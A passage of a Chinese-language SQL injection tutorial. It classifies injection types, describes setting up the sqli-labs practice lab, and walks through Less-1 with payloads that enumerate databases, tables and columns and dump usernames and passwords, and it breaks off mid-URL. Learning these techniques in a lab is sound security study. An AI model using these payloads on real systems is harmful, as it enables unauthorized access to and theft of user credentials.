一、注入分类
1、数据类型分类:数字型注入、字符型注入
2、HTTP请求方法分类:GET型注入、POST型注入
3、注入方式分类:联合注入、报错注入、布尔盲注、时间盲注、宽字节注入等
二、实践靶场搭建
phpstudy sqli-labs
三、注入流程
判断是否存在注入漏洞→判断字段数→判断显错位→判断库名→判断表名→判断列明→寻找具体数据
order by:排序
database():数据库
limit n,m:限制输出,从n+1开始,m个
information_schema():数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
四、数据类型注入流程
1、字符型注入(案例:Less-1)
- 检测漏洞是否存在:'、' -- qwe
- 判断字段数:order by
- 联合查询得到输出点:union select 1,2,3
- 查询数据库版本:union select 1,2,version()
- 查询数据库名:union select 1,2,database()
- 查询表名:union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
- 查询users表的字段名(列名):union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
- 查询username、password字段数据:union select 1,group_concat(username),group_concat(password) from users
案例演示:
(1)判断漏洞是否存在,以及漏洞类型。根据id传参可以判断为字符型注入
http://localhost/sqli_labs_master/Less-1/?id=1' //页面返回错误
http://localhost/sqli_labs_master/Less-1/?id=1' -- qwe //页面返回正常
(2)使用order by判断字段数,尝试后判断为3
http: